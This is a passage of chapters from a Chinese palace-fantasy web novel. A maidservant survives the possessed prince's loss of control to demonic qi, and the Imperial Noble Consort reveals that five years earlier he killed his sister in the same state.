“嬷嬷!嬷嬷!”林晚气喘吁吁地找到正在整理药材的刘嬷嬷,脸色煞白,“我刚才……刚才给殿下送药,看到……看到他胸口……那紫黑色的东西……在动!”
“还……还让我今晚别送药了!他看起来很不对劲!”
刘嬷嬷手中的药材“啪嗒”一声掉在地上。她猛地转过身,布满皱纹的脸严肃起来,眼中带着一丝慌乱。
她眉头紧皱,望着天上那一轮弯月,不知道在思考着什么,“明明还未到,可……”
“坏了!”刘嬷嬷小声惊呼,似乎是一下想到了什么,“怕是因为大病初愈,殿下的身体如此虚弱,恐怕……”
她猛地看向林晚:“林丫头,这静心苑的事情,本不用牵扯太多人进来,可我也不知为何皇贵妃娘娘点了你们两个丫头过来。”
“可既然来了,进了张蹚浑水,便是抽不得身了。若是要保得自己的这条命,便好好爱惜着,这静心苑的一举一动,自有眼睛盯着。”
“皇贵妃?!”林晚在心里惊呼,“是她专门叫了我和小翠来的……?”
容不得林晚多想,刘嬷嬷继续说道:“你现在立刻去叫上小翠,回你们自己的屋里!无论外面听到什么动静,都不准出来!一步也不准踏出房门!记住了吗?!”
“嬷嬷,您要去哪?”林晚的心提到了嗓子眼。
刘嬷嬷的语气前所未有的严厉,她没有回答林晚,“我出去一趟,很快就回来!”
说完,刘嬷嬷甚至顾不上掉在地上的药材,几乎是跑着冲出了静心苑的后门,身影很快消失在通往别院前山的小径深处。
第一卷 第26章 魔气涌动
屋外,风声渐紧,刮过静心苑角落里的几颗古树枯枝,发出令人心悸的呜呜声。
屋内,烛火不安地跳跃着,将林晚和小翠的影子得拉很长,扭曲地映在墙壁上。
小翠抱着膝盖缩在床角,看着林晚凝重的侧脸,仔细询问:“林晚姐……是不是要出什么事了……”
林晚深吸一口气,强迫自己镇定下来。
她走到窗边,将本就关紧的窗户又检查了一遍,不安地朝主屋的方向望去,四下寂静无声,唯有夜黑风高。
她转过身,声音压得极低:“小翠,你还记得上次……满地的黑鸦尸体吗?”
小翠猛地打了个寒颤,眼中涌出一股恐惧之色,她用力点头:“自然记得,可是后来……那件事就不了了之了……”
“难道……林晚姐,你别吓唬我啊……”小翠一瞬间明白了林晚的意思。
林晚没有立刻回答,她走到桌边坐下,手指无意识地轻点着冰冷的桌面,眉头紧锁。
她不知道该如何跟小翠解释,怕说多了给小翠带来麻烦,况且她满脑子的碎片信息还没能拼凑在一起,心里的疑惑还没有彻底解开。
“或许……”林晚思考了半天,觉得至少应该跟小翠透个底,“……跟殿下有关。”
“殿……殿下?!”小翠难以置信地瞪大眼睛,声音都变了调,“这……这怎么可能?殿下他……他怎么会……”
“我不知道具体发生了什么,”林晚打断她,“但是上回也是这样……然后,殿下就消失了。这次……恐怕会更糟。”
她看向小翠,安抚道:“我们就待在这里,哪也不要去。把无论外面听到什么动静,都不要出去,不要出声。如果……如果平安度过了今晚,或许一切都能真相大白。”
小翠看着林晚眼中的坚定,虽然恐惧依旧,但还是用力点了点头:“可是,殿下他……”
“他应该……自有应对之法。“
就在这时——
【警告!检测目标人物状态异常!】
【紧急任务发布:协助目标人物‘云烬’平安度过今晚!】
系统冰冷的提示音在林晚脑中疯狂炸响,但不同于以往任何一次发布任务时的平静,这一次,任务面板的边缘闪烁着刺目、急促、如同警报般的红光!
没有提示!没有指引!只有这不断闪烁的、象征着危险和紧迫的红光!
林晚才刚刚决定和小翠今晚躲在这里,等待风暴过去,可这不停闪烁的红光,让林晚的心一点也静不下来。
【“没有任务提示吗?我该怎么帮他啊?”】
林晚在脑海里焦急地询问,可系统却没有再做出回应。
“平安度过……平安度过……”她喃喃自语,目光死死盯着那不断闪烁的红光,不免得开始胡思乱想。
躲在这里,真的能“平安”吗?
如果云烬出了什么意外……这静心苑,不知道会走向什么结局,而她的任务……她的命……
“不行……”林晚猛地站起身,眼神变得异常锐利,她决定豁出去了,“我得去看看!”
“林晚姐!不行啊!”小翠被林晚突然的举动吓了一跳,死死抓住她的胳膊,“你刚才还说不要出去的!万一真的要有什么意外,你……”
“我知道危险!”林晚反手握住小翠冰凉的手,她深吸一口气,尽量让自己的情绪稳定下来,“但躲在这里,如果……如果情况更糟,我们一样跑不掉。我得去看看情况,也许……能帮上点忙。”
她顿了顿,补充道,“放心,我不会靠太近,就在外面看看。你就在这里待着,锁好门,无论发生什么都别出来!记住我的话!”
小翠看着林晚非去不可,泪水忍不住在眼眶里打转,松开手,用力点了点头:“林晚姐,你……你一定要小心!”
林晚大口呼吸了几下,仿佛要将所有的恐惧都压下去。她拉开房门,身影逐渐融入在门外浓重的夜色中。
房间内,林晚的床头柜子上,那枚云烬送给她的的墨玉铃,铃芯处那点极细的金砂,此刻正闪烁着诡异的暗沉红芒。
林晚顶着寒风,一步步靠近静心苑的正屋。出乎意料的,屋外一片死寂,只有风声肆虐,似乎并无异常。
然而,当她越靠近那扇紧闭的黑檀木大门,一种无形的、令人窒息的压迫感便如同潮水般涌来。
紧接着,一种声音穿透了风声,清晰地传入她的耳中——
那是从门缝里溢出的、压抑到极致的、如同野兽濒死般的粗重喘息和痛苦闷哼。
那声音断断续续,充满了挣扎和焦躁,仿佛有什么东西正在屋内狂躁不安。
林晚倒吸一口凉气,只觉得头皮发麻,心瞬间提到了嗓子眼,脚步不由自主地顿住。
就在这时,门内猛地传来一声嘶吼,那声音扭曲、沙哑、带着一种令人灵魂战栗的感觉,完全不似云烬平日清冷的声线:
“滚——!!!”
那声音狠狠地撞在林晚的心里,让她浑身汗毛倒竖,她想跑,可是脚却不听使唤,只得愣在原地。
视野角落里的红色任务面板,闪烁得越发频繁,就像是林晚此时的心跳。
“殿下……”她低低唤了一声,不知是给自己壮胆,还是想确认什么。
然后,她伸出微微颤抖的手,用尽全身力气,猛地推开了那扇沉重的黑檀木大门!
门轴发出“吱呀”一声,异常觉得刺耳。
书案之后,那个熟悉的身影,几乎让林晚的血液瞬间冻结,她瞪大了眼睛惊恐地看着他。
云烬依旧坐在那里,但周身被浓稠如墨、翻涌不息的紫黑色气息死死缠绕。那气息如同活物般蠕动、升腾,散发出令人头皮发麻的阴冷之意。
他原本乌黑如墨的长发,此刻竟有大半化作了刺目的银白!黑白发丝在狂暴的气息中疯狂舞动,如同鬼魅。
他双眼紧闭,额角、太阳穴处青筋暴起,感觉随时会爆裂开来。
双唇抿成一条毫无血色的直线,牙关紧咬,发出令人牙酸的“咯咯”声,显然在承受着难以想象的巨大痛苦。
就在林晚推门而入的瞬间,那紧闭的双眼猛地睁开!
一双完全被紫黑色光芒占据的,冰冷、暴戾、充满了嗜血与毁灭欲望的眸子,如同黑暗中苏醒的魔物!
那眼神里,除了云烬惯有的冷漠,此刻更添了令人骨髓发寒的杀戮之意。
此刻,正死死地盯着林晚。
第一卷 第27章 暗眸下的微光
云烬眼中最后一丝清明消失殆尽。
他手掌猛地一拍桌面,身形借力如鬼魅一般升起,玄色衣袂在烛光下绽开妖异的弧度,朝着林晚急掠而来。
林晚瞳孔骤缩,就在云烬右手即将触及到她时,她凭着求生的本能向旁边躲开。
“嗤啦——”
利爪撕裂空气的尖啸声,擦着她的耳边掠过,墨黑色气息如同实质一般,擦得她脖颈生疼。
云烬一击落空,身影如同一道裹着紫黑雾气的鬼影,飞出主屋,悄无声息地落在前院正中央。
弯月投射的月光惨白,映在他的身上。
云烬周身缭绕着紫黑色气息,他一身玄色锦袍仿佛融入其中,丝丝缕缕升腾、缠绕,在清冷月华下氤氲出妖异迷离的光晕。
他背对着林晚,黑白相间的长发披散开来,泼墨般垂落肩背,随着那诡异气息的流动而微微拂动。
死寂。
只有夜风穿过回廊的阵阵呜咽,衬得前院中央那道身影愈发的鬼气森森。
林晚的心不住地狂跳,几乎要撞碎胸腔跳出来。她死死盯着那道背影,面部都因为恐惧出现了阵阵抽搐,身体却像被寒冰冻住,连指尖都无法动弹分毫。
就在这时,云烬动了,他微微侧过头,月光清晰地照亮了他的侧脸。
苍白得没有一丝血色的皮肤下,隐隐透出暗紫色的纹路,在皮肤地下扭曲、蠕动。
那双曾如寒潭深涧的眼眸,此刻只剩下翻涌着的暴戾、混乱,和令人心悸的空洞。
他的唇角,勾起了一抹诡异的弧度,非笑非怒。
原本修长干净的十指,此刻指甲延伸出寸许长,弯曲如钩,边缘流淌着紫黑色的微芒,仅仅是看着,就仿佛能嗅到血腥与死亡的气息。
他侧过头来的余光,牢牢锁定了瘫软在门边的林晚。
逃!
尽管系统的任务面板仍然在林晚的视线角落里不断闪烁着红光,但是自己此时危在旦夕,根本顾不上任务,唯有这个字在她的脑海里轰然炸响。
她用尽全身力气,奈何浑身因为恐惧根本使不上力,手脚并用地想要向后爬去。
然而,太迟了。
庭院中央的那道身影,只是极其随意地抬起了右手,五指微张,朝着她的方向遥遥一探。
“嗡——!”
一股无法抗拒的恐怖吸力朝着林晚袭去,林晚只觉得自己的脖子像是被一只无形的铁钳狠狠扼住,整个人双脚离地,被那股巨力凌空摄起,朝着云烬疾飞而去。
视野天旋地转,冰冷的夜风灌入口鼻,窒息感如同潮水般汹涌而至,瞬间淹没了她的意识。
下一瞬,一只有力的大手,精准无比地扼住了她纤细脆弱的脖颈。
“殿……殿下……”林晚的喉咙里挤出破碎的嘶鸣,眼中充满了濒死的恐惧和哀求,“殿……下……”
她挣扎着,试图在那张近在咫尺的脸上,找到一丝属于“人”的痕迹。
没有。
她只能在那双眸子里,看到疯狂和嗜血。扼住她脖颈的手指在缓缓收紧,冰冷坚硬的指甲尖端几乎要刺破她的皮肤。
强烈的窒息感,让得林晚的视野边缘逐渐漫上黑暗,意识如同风中残烛,即将彻底熄灭。
就在她意识即将沉入永恒黑暗的前一刹那——
林晚的胸口,那被衣襟覆盖的地方,毫无征兆地透出了一点微弱的、近乎透明的白色柔光。
那光芒极其微弱,却如同寒夜尽头将熄的星火,纯净得不可思议,带着一种难以言喻的、抚慰人心的暖意。
它穿透林晚薄薄的衣料,在扭曲缠绕的紫黑色气息中,映出一个小小的、温暖的光晕。
光芒虽弱,却像无边黑暗中从遥远的前方投射而来的光束,猝不及防地照射在云烬那双混乱的眼眸深处。
“呃——!”
扼住林晚脖颈的手猛地一颤。
云烬口中发出一声痛苦而短促的低吼,如同野兽被灼伤一般。
他那双被血色淹没的瞳孔骤然收缩,一丝微弱到几乎无法捕捉的清明,挣扎着、艰难地浮了上来。
他血色的视线,艰难地聚焦。
他看清了。
看清了自己那只流淌着紫黑邪气的手。
看清了那只手正死死扼住的、纤细脆弱的脖颈。
看清了那张近在咫尺、因极度痛苦和窒息而扭曲涨红、布满泪痕与绝望的小脸。
“婉儿……”从云烬的喉咙里,艰难地挤出两个字。
“嗬……”随后,一声破碎的抽气声,从云烬喉咙里溢出。他眼中那丝刚刚浮现的清明剧烈地挣扎,仿佛随时会被汹涌的紫黑色再次吞没。
痛苦、暴戾、毁灭的欲望疯狂撕扯着他的神智,与他刚刚恢复的一点点神智展开了激烈的交锋。
碾碎!毁灭一切!
不……不能……
两种力量在他体内疯狂冲撞,让他整个身体都剧烈地颤抖起来,周身缭绕的紫黑气息沸腾翻涌。
最终,在那点白色柔光的映照下,那丝属于“云烬”的意志,在濒临崩溃的狂潮中,爆发出了最后一丝力量。
他扼住林晚脖颈的右手,猛地向一边甩开。
“砰!”
林晚的身体被甩出,重重砸在冰冷的青石板上,翻滚了几圈才停下。剧痛瞬间席卷全身,喉间火辣辣的。她使不上力气,剧烈地咳嗽、干呕,眼前阵阵发黑,几乎昏死过去。
而就在甩开林晚的同一时间,云烬的身影化作一道紫黑色的残影,以肉眼难辨的速度,猛地倒射回正屋之内。
“砰——!”
沉重的黑檀木门被一股狂暴的力量狠狠带上,发出震耳欲聋的巨响。
庭院里,死一般的寂静重新降临。
只剩下满地清冷的月光,空气中尚未完全散去的狂乱,以及蜷缩在一边奄奄一息的林晚。
“林晚姐——!”
小翠从西厢房冲了出来,扑到林晚身边,看着地上蜷缩成一团的林晚,以及脖颈上泛红的指痕,吓得魂飞魄散。
“林晚姐!你怎么样?”小翠颤抖着手,想碰又不敢碰,眼泪大颗大颗地往下掉,“殿下……殿下他……”
她惊恐地望向那扇正屋大门,声音抖得不成样子。
林晚咳得眼前发黑,每一次呼吸都牵扯着全身的剧痛。
“我……我没……”昏迷前,她模糊的视线里,看到了一脸惊恐担忧的小翠,和慌忙赶回来的刘嬷嬷,以及刘嬷嬷带回的一个人。
而正屋门内,死寂无声。
第一卷 第28章 脱口而出的质问
林晚感觉自己漂浮在一片虚无之中,脚下踩不到实质的地面,意识昏沉。然后渐渐地,周围变得清晰起来,却并非她熟悉的静心苑。
她站在一个极其陌生又无比华丽的地方。
脚下是光洁的、铺着厚重鲜红地毯的长廊,廊柱雕龙画凤,一派金碧辉煌。空气里弥漫着浓重的熏香味道,呛得人喘不过气。
向前望去,这条鲜红的地毯仿佛没有尽头,不知道要延伸到哪里去。
地毯的两侧,每隔五步,便肃立着一名身着统一宫装的宫女,她们低眉垂首,如同没有生命的精致木偶,肃穆又死寂。
这里是哪里?皇宫吗?她为什么会在这里?
就在她茫然四顾,试图再看得更真切时——
“公主!快跑——!”
一声凄厉到破音的尖叫,猛地撕裂了这片寂静。
刹那间,眼前的景象如同被打碎的琉璃镜面般轰然破碎、重组。
夜幕降临,明亮醒目的满月毫无遮挡地将光华倾泻下来,照射在整个皇宫的广场上。
林晚发现自己正站在一个极其宽阔的汉白玉广场中央,四周是高耸的宫墙和巍峨的殿宇,然而一个人都没有,空旷得令人心慌。
在她的正前方,一团浓稠得如同实质的紫黑色雾气正在疯狂涌动、膨胀,仿佛是通向九幽地狱的入口。
“嗬……”
一声低吼从雾气深处传来,紧接着,一只脚缓缓从翻滚的紫黑魔气中踏出,然后是逐渐清晰的人影。
是云烬!
但又不是她所认识的那个云烬!
他身上的玄色锦袍破碎不堪,裸露的皮肤上布满了诡异的紫黑色纹路。黑白相间的头发凌乱地披散着,在无形的气流中狂乱飞舞。
他的双眼,完全被一种深不见底的、吞噬一切光亮的黑暗占据。
“吼——!”
魔化的云烬发出一声野兽般的咆哮,目光瞬间锁定了广场中央渺小的林晚。那目光里只有冰冷的杀意,如同在看一只待宰的蝼蚁。
林晚想逃,双腿却像灌了铅,钉在原地。
魔影一闪。
速度快到超越了视觉的极限,前一瞬还在十丈开外,下一瞬,那张布满黑色魔纹、狰狞扭曲的脸已近在咫尺。
一只缠绕着浓郁紫黑魔气的手,如同来自地狱的利爪,带着撕裂空间的尖啸,毫无阻碍地、狠狠地——
“噗嗤!”
剧痛!
不,不是剧痛!是一种从未有过的感觉……
林晚难以置信地低下头。
那只魔爪,正正地穿过了她的胸膛。滚烫的鲜血,如同决堤的洪流,顺着云烬的手臂喷涌而出,瞬间染红了她素色的衣衫,又在光洁冰冷的汉白玉地板上迅速蔓延开一大片刺目惊心的血红。
霎那间周围数道嘈杂声音响起,在她的脑海里乱作一团:
“是……是望月之夜!”
“二殿下的魔气失控了!”
“二殿下——!”
“……”
奇怪的是……她似乎没有感觉到预想中的撕心裂肺的疼痛,只有一种灵魂被强行抽离躯壳的冰冷麻木感。
她艰难地抬起头。
然而,在她面前的,是云烬!是她熟悉的那个云烬的脸!
只是此刻,这张俊美却苍白的脸上,布满了纵横交错的泪痕。
他的双目赤红,如同泣血,里面翻涌着足以将世界淹没的悲伤。他死死地盯着被自己手臂贯穿胸膛的林晚,嘴唇剧烈地颤抖着,仿佛用尽了全身的力气,从喉咙深处挤出两个泣血般的字:
“婉儿……!”
那声音里蕴含的绝望与悔恨,如同万载寒冰,瞬间冻结了林晚的灵魂。
“嘶——!”
林晚猛地倒吸一口凉气,从梦中惊醒,可胸口那异样的感觉仿佛真实存在过。
她想抬手想抚一抚胸口,却发现手臂沉重得如同灌了铅,不仅是手臂,全身都无法动弹。她想转动眼珠看看周围,眼皮却像被缝住了一样,沉重得无法掀开一丝缝隙。
动不了!
林晚清晰地意识到自己的意识是清醒的,但整个身体却像被无形的巨石死死压住,连一根手指都无法动弹。只有眼角的泪水,不受控制地滑落,染湿了鬓角。
就在这时,她听到了床边传来的刻意压低的对话声。是刘嬷嬷,还有一个略显苍老但透着沉稳的男声——是李郎中!
“……李大人,林丫头她……真的无碍了?”刘嬷嬷仔细询问着。
“刘嬷嬷放心,”李郎中的声音带有一丝丝困惑,“昨夜赶来及时,老夫以金针封其膻中、神阙等要穴,阻魔气攻心,又以‘清心咒’辅以‘净灵散’强行疏导……”
“寻常人受此魔气侵体,经脉必损,神魂受污,非数月调养不可……可她……”
他顿了顿:“她体内……似有某种力量,自行消融了残余魔气。”
李郎中的话戛然而止,似乎是想到了什么:“难道真如皇贵妃娘娘所说……”
“李大人!”刘嬷嬷刻意出声打断了李郎中的话头:“皇贵妃娘娘自有她的安排,非你我所能揣测。”
“此次劳烦大人相助,殿下的情况已无大碍,老奴代殿下谢过大人。”
短暂的沉默后,李郎中恭谨回应:“分内之事罢了。”
听着两人的对话,林晚心中的迷雾更甚。
皇贵妃娘娘的安排?什么安排?
李郎中……刘嬷嬷称他为“李大人”?他到底是什么身份?钦天监的人?
他竟能协助云烬镇压魔气!这魔气……果然就是云烬体内那紫黑色的恐怖力量!它到底是什么?
最关键的是……刚才那个梦!云烬最后那声泣血的“婉儿”!
所有的线索、疑问、猜测,在她脑海中翻滚冲撞。那个在噩梦中出现的、被至亲兄长贯穿胸膛的“公主”身影,与五年前殒命的小公主云婉,在她心中轰然重合。
此时的云婉,只想立刻知道知晓这一切。
她用尽全身刚刚恢复的一丝力气,艰难地张开干裂的嘴唇,声音嘶哑、微弱,清晰地吐出了几个字。
声音不大,却如同在寂静的房间里投下了一颗惊雷,让得方才还在交谈的李郎中和刘嬷嬷瞬间僵在了原地。
“云婉公主……是被殿下……杀死的吗?”
李郎中眉头紧皱,他也没料到林晚会在这时候醒来。
空气,在这一刻彻底凝固。林晚努力瞪着她那双虚弱的眼睛,死死地盯着刘嬷嬷,等待一个答案。
第29章 第一次失控
林晚的问题,石破天惊,打乱了刘嬷嬷和李郎中交谈的节奏。
李郎中捻胡须的手瞬间僵住,刘嬷嬷也下意识往后退了一步,撞在木柜上。
就在屋子里陷入尴尬的沉寂时,门外一道平静,又带着从容的威仪的声音响起:
“没错。”
房门被推开,皇贵妃嘉氏的身影出现在门口。她的目光扫过惊讶的两人,最终落在了脸色惨白、眼神却坚硬执着的林晚身上。
“是烬儿,亲手杀死了他的亲生妹妹,云婉。”
皇贵妃的声音不高,却清晰地敲在屋子里每一个人的心上,为林晚一直以来的猜测盖棺定论。她把目光投向窗外,不再看任何人,目光仿佛穿过了时空,投向了五年前那个被血色笼罩的夜晚。
……
五年前,承晖宫,祥安殿
祥安殿殿内,烛火通明,却驱散不了深秋晚风的凉意。烛火偶尔的噼啪声,似乎预示着不详。
天上一轮满月映照在二皇子云烬的脸上,他此时正盘膝坐于内室的榻上。
云烬双目紧闭,俊美的脸庞沉静如水,呼吸悠长平稳,面色红润。他周身的气息内敛而强大,此刻正调动着精纯深厚的灵力,将丹田深处蛰伏的暗紫色魔气死死压制。
这是他每逢朔望之夜的必修课,已经经历了十几年,早已轻车熟路,从未有过半分差池。
他的神情专注而沉稳,仿佛只是在完成一项再寻常不过的修炼。殿内一片宁静,殿外戍守的侍卫严阵以待,警惕着靠近的每一个人。
这一切,与以往的无数个朔望之夜,并无不同。
殿门外,刘嬷嬷的神情严肃而警惕地守着,她也一如十几年以来的样子,不敢有丝毫懈怠。
就在这时,一个鹅黄色的身影,提着精致的食盒,脚步轻快地穿过承晖宫的回廊,朝着祥安殿跑来。
这正是年仅十三岁的小公主云婉。
她小脸因为奔跑而微微泛红,一双杏眼亮晶晶的,充满了活力。
食盒里是她亲手做的,云烬最爱吃的梅花酥,想着等二哥明日一早,就能吃上新鲜的点心。
“嬷嬷!”云婉跑到殿外,甜甜一笑,“二哥还在里面吗?我给他做了梅花酥!”她骄傲得意地举起食盒。
刘嬷嬷看到云婉,脸色微变,急忙上前一步,压低声音道:“哎哟我的小祖宗,您怎么跑这儿来了!今夜是望月之夜,殿下正在紧要关头呢!”
说着,刘嬷嬷就伸手要接过食盒:“快把食盒给老奴,您赶紧回去吧!”
云婉抱着食盒往后缩了缩,小嘴微噘:“没关系的嬷嬷,二哥那么厉害,每次不都好好的嘛!我就把食盒放门口,不打扰他!”
刘嬷嬷更急了,语气带着恳求:“公主殿下,使不得啊!要是让嘉贵妃娘娘知道您这时候跑来,定要生气斥责了!您快回去吧,明日殿下一准儿就能尝到您的手艺了!”
云婉看着刘嬷嬷焦急的样子,虽然有些不情愿,但还是点了点头:“好吧好吧,那我……”
——她的话音未落!
祥安殿内,那股被压制了十几年的、原本平稳的气息,毫无征兆地、如同沉寂万年的火山骤然喷发。一股难以想象的、狂暴到极致的紫黑色魔气,猛烈地冲击着殿内的一切。
“轰——!!!”
沉重的殿门,如同纸片般被那汹涌而出的紫黑色魔气狠狠掀飞。木屑四溅,沉重的门板砸在远处的廊柱上,发出震耳欲聋的巨响,烟尘瞬间弥漫开来。
烟尘之中,一个身影缓缓从烟尘中踏出。
是云烬,但已面目全非。
他周身缠绕着翻涌沸腾的紫黑色魔气,玄色锦袍多处撕裂,裸露的皮肤上爬满了诡异蠕动的紫黑色魔纹。
原本乌黑的长发,竟有大半化作了刺目的银白,在狂暴的气息中狂乱飞舞。
最骇人的是他的眼睛——那双曾清澈坚毅的眼眸,此刻完全被浓稠如墨、吞噬一切光亮的暗紫色占据。再无半分理智与人情,只剩下纯粹的、毁灭一切的疯狂。
魔化的云烬目光瞬间锁定了殿外离得最近的活物——他的亲妹妹云婉。
没有任何犹豫!
那缠绕着毁灭气息的魔爪,带着撕裂空间的尖啸,如同来自地狱的闪电,在云婉惊恐茫然、甚至来不及反应的瞬间——
“噗嗤!”
滚烫的鲜血,如同喷泉般从云婉单薄的胸口汹涌而出。那只魔爪,正正地贯穿了她的胸膛。
鲜血瞬间染红了她鹅黄的衣衫,也喷溅在魔爪和云烬苍白扭曲的脸上。云婉那双明亮的眼睛瞬间失去了神采,只余下巨大的不解和凝固的惊骇。
她手中的食盒“啪嗒”一声掉在地上,精致的梅花酥滚落出来,沾染了尘土和鲜血。
……
“婉儿……就那样……倒在了……血泊里……”
巨大的悲痛瞬间淹没了皇贵妃,她再也说不下去,泪水如同决堤的洪水,从她紧闭的双眼中汹涌而出,顺着她保养得宜却瞬间苍老了许多的脸颊滑落。
她抬起手捂住脸,肩膀剧烈地耸动着,发出压抑不住的、破碎的呜咽。
一旁的李郎中见状,布满皱纹的脸上充满了愧疚与沉痛。他上前一步,对着沉浸在巨大悲痛中的皇贵妃深深一揖,声音沙哑沉重:
“娘娘……若若要怪罪,就怪老臣吧。”他的声音带着深深的自责,“是老臣……身为殿下的师傅,未能及时察觉异样,有疏忽教导、护持不力之责!老臣……万死难辞其咎!”
皇贵妃缓缓抬起泪眼,那眼神里除了悲痛,更沉淀着一种历经五年也无法消解的、沉重的困惑。
她看向李郎中,一字一句清晰地说道:“不……李大人,此事……怪不得你。”
她深吸一口气,强压下翻涌的情绪,语气变得凝重,带着深深的不解:
“烬儿他……从小到大,修炼从未懈怠过一分!他的天赋,他的意志,他的修为境界,在同辈中堪称翘楚!”
“那魔气……在他体内十数年,一直被他压制得极好,从未有过半分失控的先例。”
她的眉头紧紧蹙起,眼中充满了深深的困惑与不甘:
“可是为什么?!为什么偏偏是五年前那个望月之夜?为什么那一次,他会毫无征兆地……彻底失控?这根本不合常理!”
皇贵妃的目光盯着屋内的角落,陷入深深的沉思。那个困扰了她一千八百多个日夜的疑问,压在了每个人的心头:
“那一次……他究竟为什么会失控?”
第30章 皇贵妃欲言又止
皇贵妃那句沉重的疑问:
“那一次……他究竟为什么会失控?”
让得整个房间陷入一片寂静无声,皇贵妃是疑惑的神色,李大人是紧皱着眉头也在思考什么,而林晚同样不解。
之前就从云瀚的口中听到过,云烬一直以来修炼刻苦,不论是修为境界还是身体素质,都远超其他皇子。
皇贵妃的疑惑不无道理,或许其中真的藏有什么原因。
林晚整个身体半着坐在榻上,脖颈处传来的疼痛依旧清晰。她看着皇贵妃布满泪痕却已收敛起情绪的脸,忍不住脱口问出,声音虽然虚弱却格外清晰:
“娘娘……那后来……您没有再问问殿下吗?五年前的祥安殿内……有没有发生什么异常?”
皇贵妃缓缓转过头,目光落在林晚的脸上。她眼中的泪水已彻底收起,只余下无尽的疲惫。她微微摇头,声音平稳而清晰:
“问?如何问?”她语气带着一丝无奈,“那一夜之后,烬儿被钦天监用秘法强行压制住了体内暴走的魔气,他自身也因巨大的冲击和收到了反噬,陷入了深度昏迷,人事不省。”
“这一昏迷,就是整整三天三夜,直到第三日的傍晚,他才幽幽转醒。”
皇贵妃平静地叙述着,语气沉重得令人窒息:“当他……从李大人和刘嬷嬷口中,得知了那晚发生的一切……得知自己亲手……杀死了婉儿……”
她停顿了一下,下颌线微微绷紧,随即又松开:“烬儿他……整个人都崩溃了。巨大的痛苦和无法承受的自责,瞬间将他击垮。”
“从那以后……他不再是那个骄傲、坚韧、哪怕背负魔气也从不低头的二皇子。”
“他变得极度消沉、颓废。将自己彻底封闭在祥安殿内,闭门不出。拒绝见任何人,包括本宫。”
她的语气带着一种近乎冷酷的客观,“他不上朝,不处理任何事务,甚至连每日雷打不动的修炼也彻底放弃了。如同一具……被抽空了灵魂的躯壳。”
“那样的状态,”皇贵妃的目光突然变得锐利,看向李大人,“如何能应对十五日后的下一个朔月之夜?”
“李大人忧心如焚,早早就在祥安殿布下了最强的阵法,严阵以待。我们都清楚,以烬儿当时那种万念俱灰、毫无求生意志的状态,他绝无可能靠自己压制魔气,度过那一关。”
“然而就在朔月前夜……”皇贵妃的声音突然冷了下来,“陛下的旨意到了。”
“旨意?”林晚的心提了起来。
“陛下下旨,言宫中邪气未散,为保皇家安宁,命本宫携烬儿,即刻迁出皇宫,移居这远离皇城的静心苑‘静养’。”
皇贵妃的嘴角勾起一抹极淡的弧度,充满了讽刺,“名为静养,跟放逐又有何区别。”
“这一住……便是整整五年。”
林晚沉默。皇家果真这般无情,无论对谁,哪怕骨肉,这“静养”二字下显得如此讽刺。
“后来……”皇贵妃的声音再次响起,“烬儿的情况稍稍稳定,本宫也曾问过他。问那一晚,在祥安殿内,在他彻底失控之前,到底发生了什么?有没有感觉到任何异样?有没有……外力干扰?”
嘉贵妃双眼微眯,如同在审视一个未解的谜题:“可是烬儿……他拒绝回答。只要一提起那一晚,他眼中便会涌现出巨大的痛苦和抗拒,仿佛那是他灵魂深处最不能触碰的伤疤。”
“他闭口不言,甚至……后来本宫再问,他便以沉默相对,再未吐露过一个字。”
皇贵妃微微蹙眉,手指无意识地摩挲着袖口的精致绣纹:“本宫心中……并非没有猜测。那失控来得太过突然,太过猛烈,完全不合常理,绝非烬儿自身压制不力所能解释。”
“但……猜测终究只是猜测,没有确凿的证据,本宫不能妄下定论。”
林晚听着皇贵妃的叙述,心中的疑团非但没有解开,反而像滚雪球一样越来越大。五年前的失控之谜悬而未决,而云烬选择在半年后自尽的决定,更显得突兀而奇怪。
她正想再次开口询问自尽之事,一个念头却如电光火石般闪过脑海。
不对劲。
皇贵妃何等身份?今夜为何对一个刚入静心苑不久、身份低微的宫女,吐露如此多的皇家秘辛?
从五年前的失控细节,到云烬的颓废放逐,再到她内心的猜测……说得越多,自己知道得越多,就越是被卷入这深不见底的漩涡中心,越难抽身。
这绝非单纯的倾诉或解惑。
一股寒意从林晚身后袭来,她看着皇贵妃那张恢复了雍容冷静、却深不可测的脸,决定不再被动跟随对方的节奏。
“娘娘,”林晚的声音依旧虚弱,她直视着皇贵妃的眼睛,“您今夜对奴婢说了这么多……恐怕不只是为了给奴婢讲一个故事吧?”
皇贵妃正沉浸在自己的思绪中,被林晚这突如其来的、带着点锋芒的打断弄得微微一怔。
她看向林晚,眼中瞬间掠过一丝惊讶,随即那惊讶迅速转化为一种带着欣赏的光芒。
“呵……”皇贵妃轻轻笑了一声,那笑声里听不出喜怒,只有一种棋逢对手般的锐利,“好个聪明的丫头。本宫果然没看错人。”
她微微侧首,目光扫过侍立在一旁的李郎中和刘嬷嬷,最后又看回林晚。
皇贵妃缓缓站起身,莲步轻移,走到林晚的床榻前。她居高临下地看着躺在床上的林晚,那双凤眸深邃,让人根本看不透藏着什么心思。
“本宫今日跟你说了这么多,自然是有求于你”,皇贵妃淡淡地说道。
“不敢……”林晚沉声应对,只是她心里依旧忐忑,不知道皇贵妃究竟要做什么,“娘娘只管吩咐便是,奴婢定当竭力。”
皇贵妃微微俯身,轻笑了一声,每一个字都清晰地敲在林晚的心上:“本宫当日遣你来这静心苑,自然是看重了你心细,做事又认真仔细。至于有什么事……”
“不急,你先恢复好身体,然后替本宫照顾好烬儿,过阵子你便知晓。”
第31章 弥足珍贵的关心
脚步声渐行渐远,房门被轻轻带上,隔绝了皇贵妃、刘嬷嬷和李郎中的身影。房间里骤然安静下来,只剩下窗外偶尔传来的鸟鸣和风吹过树叶的沙沙声。
林晚紧绷的神经终于松懈下来,疲惫感如同潮水般席卷全身。她这才后知后觉地意识到,窗外透进来的光线明亮刺眼,竟已是正午时分。
阳光透过窗棂,正巧照射在她的床边,空气中漂浮着细小的尘埃。一阵秋风吹进屋子,驱散了屋子里沉闷的气味,也吹过林晚的面庞,带走一些疲惫。
这份突如其来的宁静,与昨夜那惊心动魄的生死一线形成了强烈的反差,让她一时有些恍惚。
这安静的氛围,让林晚越是放松,就越是像一种催化剂,让昨夜那些惊悚的记忆碎片,不受控制地重新翻涌上来,清晰地浮现在眼前。
暴走的云烬,周身缠绕着翻涌不息的紫黑色魔气,散发着令人窒息的阴冷与毁灭气息……
他大半化为银白的发丝在狂乱的气流中飞舞,如同地府走上来的索命的鬼魅……
那双完全被紫黑色占据、冰冷暴戾、毫无人性的眼眸,死死地锁定着自己……
